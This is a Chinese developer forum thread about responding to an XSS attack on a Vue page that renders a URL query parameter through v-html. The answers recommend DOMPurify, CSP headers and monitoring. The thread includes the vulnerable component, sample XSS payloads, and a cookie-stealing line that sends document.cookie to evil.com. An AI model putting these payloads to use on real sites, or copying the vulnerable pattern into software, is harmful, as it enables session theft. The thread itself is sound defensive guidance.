前端被XSS攻击了,应急响应该怎么做?

设计师红芹 阅读 24

我们线上 Vue 项目突然收到用户反馈,页面里弹出了奇怪的 alert,怀疑是 XSS 攻击。我看了下代码,确实有个地方直接用了 v-html 渲染用户输入的内容,但之前没做任何过滤。现在想知道:一旦确认被攻击,除了立刻下线功能,前端还能做哪些应急处理?比如能不能临时加个 CSP 头或者用 JS 拦截?

这是出问题的组件片段:

<template>
  <div>
    <div v-html="userComment"></div>
  </div>
</template>

<script>
export default {
  data() {
    return {
      userComment: this.$route.query.comment || ''
    }
  }
}
</script>
我来解答 赞 1 收藏
二维码
手机扫码查看
2 条解答
宇文利娇
当时我也卡在这,线上突然弹 alert,查了一圈发现是 v-html 直接渲染了 URL query 参数里的用户输入,这纯属裸奔。

应急处理分三步走,别光盯着前端看,但前端确实能做点“止血”操作:

第一,立刻把 v-html 换掉,别犹豫。哪怕临时改成 {{ userComment }} 用文本渲染也比 XSS 漏洞强。如果业务确实需要富文本,那必须用 DOMPurify 之类库做白名单过滤,别自己写正则去转义,那玩意儿根本防不住所有 payload。

第二,如果改代码要时间,至少在服务端或 CDN 层加个 CSP 头,比如:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.xxx.com; object-src 'none'
注意:'unsafe-inline''unsafe-eval' 虽然能救急,但会削弱 CSP 效果,能不用就别加,优先用 nonce 或 hash 方式注入内联脚本。如果连 CSP 都加不了,至少先关掉所有内联事件和 eval,比如把 onclick="xxx" 全改成 addEventListener 绑定。

第三,别用纯前端 JS 拦截 XSS,比如监听 alertconsole.log —— 这玩意儿防御力跟纸糊的差不多,攻击者直接重写 alert 或用 new Image().src='http://evil.com/?'+document.cookie 就绕过去了。真正能拦住的只有 CSP + 输入过滤。

顺带一提,你这代码里 this.$route.query.comment 直接拿 URL 参数当输入,属于高危操作。即使后面加了过滤,也建议把所有用户可控输入(包括 URL、localStorage、WebSocket 消息、第三方 SDK 传进来的数据)都当成不可信数据处理,别留侥幸心理。

等上线修复后,建议用 burpxss-checker 这类工具扫一遍全站的富文本渲染点,很多坑都是“之前没出事就以为没事”,其实只是运气好没触发到 payload。
点赞 1
2026-02-27 14:09
Mr-喧丹
Mr-喧丹 Lv1
先说结论:XSS攻击一旦发生,前端能做的应急措施非常有限,核心原则是「能阻止后续攻击的立刻阻断,能缓解影响的立刻缓解,但别指望纯前端能彻底解决」,因为XSS本质是浏览器信任了恶意脚本,一旦执行,前端代码本身已经不可信了。

具体来说,分几个阶段处理:

第一步:立刻阻断攻击链,防止进一步扩散
现在最紧急的是停止继续注入恶意脚本的入口,也就是你这段代码里 v-html="userComment" 这个点。但注意,光改代码不够——用户已经访问过带恶意参数的页面,脚本已经执行了,所以要立刻在服务端做两件事:

1. 对 comment 参数做输入过滤(服务端层面),比如用正则拦截 <scriptjavascript:onerror= 等高危模式
2. 对所有用户输入的富文本字段统一做 HTML 清理(推荐用白名单过滤库,比如 DOMPurify,后面细说)

纯前端临时加个 JS 拦截其实意义不大,因为恶意脚本可能已经注入到全局作用域(比如挂了 window.onloadaddEventListener('click', ...)),你再在组件里加监听,根本来不及——脚本执行顺序比你的组件挂载还早。

第二步:紧急兜底:加 CSP(Content Security Policy)
这个可以做,而且效果立竿见影,强烈建议立刻加,哪怕只加一条临时头:

在服务端响应头里加:
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';

等等,别急——'unsafe-inline' 和 'unsafe-eval' 是为了兼容现有 Vue 项目(Vue 编译后的代码会用 eval 和内联脚本),但会削弱 CSP 防护能力。更稳妥的临时方案是先加 strict 的 CSP,然后逐步替换内联脚本:

先加这个(只允许同源脚本):
Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'self';

如果加完发现白屏了,说明你项目里有内联 script 或 eval,那就先临时允许:
Content-Security-Policy: script-src 'self' 'unsafe-inline'; object-src 'none';

但记得,这只是权宜之计——长期必须去掉 'unsafe-inline',把所有内联 JS 拆成外部文件,用 nonce 或 hash 来授权(比如 script-src 'self' 'nonce-abc123')。

CSP 的核心作用是:就算攻击者还能把恶意脚本注入进页面,只要 CSP 没允许它加载的域,脚本就执行不了。比如用户访问 ?comment=,有 CSP 的话,这个外链脚本根本加载不进来。

第三步:对用户输入做深度清洗(前端兜底)
虽然服务端过滤是第一道防线,但前端也不能完全依赖它(比如 SSR 场景、直出页面等),可以用 DOMPurify 在前端再兜一层:

安装依赖:
npm install dompurify

然后改你的组件:
import DOMPurify from 'dompurify';

export default {
data() {
return {
safeComment: ''
}
},
created() {
const rawComment = this.$route.query.comment || '';
// DOMPurify 会自动移除 script、onerror 等危险标签/属性
this.safeComment = DOMPurify.sanitize(rawComment, {
ALLOWED_TAGS: ['b', 'i', 'u', 'a', 'p', 'br', 'em', 'strong'], // 只允许这些标签
ALLOWED_ATTR: ['href', 'title', 'target'] // 只允许这些属性
});
}
}


模板改成:
<div v-html="safeComment"></div>

为什么用 DOMPurify?因为手写正则过滤 HTML 极易遗漏边界情况(比如 <img src=x onerror=alert(1)><svg onload=alert(1)>),而 DOMPurify 是 Mozilla 维护的工业级库,专门对抗 XSS,连 SVG/数学公式里的攻击都能拦。

补充一点:别用 innerHTMLv-html 直接渲染用户输入,哪怕你加了过滤——永远假设「任何用户输入都是恶意的」,除非经过白名单清洗。

第四步:监控与溯源(别忘了)
应急处理完,记得加监控:

1. 在关键页面加异常上报,比如:
window.addEventListener('error', (e) => {
// 记录异常堆栈,排查是否是 XSS 注入的恶意代码
if (e.error && e.error.message.includes('alert')) {
// 上报到你的监控平台
reportToMonitoring({
type: 'xss-suspected',
message: e.message,
stack: e.error?.stack
});
}
}, true);


2. 检查服务端日志,看 ?comment= 参数里有没有可疑内容(比如 %3Cscript%3Ejavascript:),定位攻击来源。

最后说点扎心的:前端防 XSS 的极限就是「减少攻击面 + 增加攻击成本」,真正的防线在服务端(输入过滤 + 输出编码)+ 基础设施(CSP、HttpOnly Cookie)。你这段代码的问题根源不是「没加 JS 拦截」,而是「信任了用户输入」——技术债迟早要还,趁这次机会把所有 v-html 全部扫一遍,改用 DOMPurify 或改用 textContent(如果不需要富文本)。

对了,顺手在 main.js 加个全局防护(不是万能,但聊胜于无):
const originalSetTimeout = window.setTimeout;
window.setTimeout = function(fn, delay) {
if (typeof fn === 'string') {
console.warn('Suspicious setTimeout with string detected');
// 可以上报,但别直接 throw,避免破坏业务
return originalSetTimeout(() => {}, delay);
}
return originalSetTimeout(fn, delay);
};


因为很多 XSS 攻击会用 setTimeout('alert(1)', 100) 这种方式绕过静态扫描。

总之,别纠结「前端能不能拦截」,重点是把输入过滤、CSP、输出编码三件事落实到位,下次再遇到类似问题,至少能 5 分钟内止血。
点赞 1
2026-02-24 20:01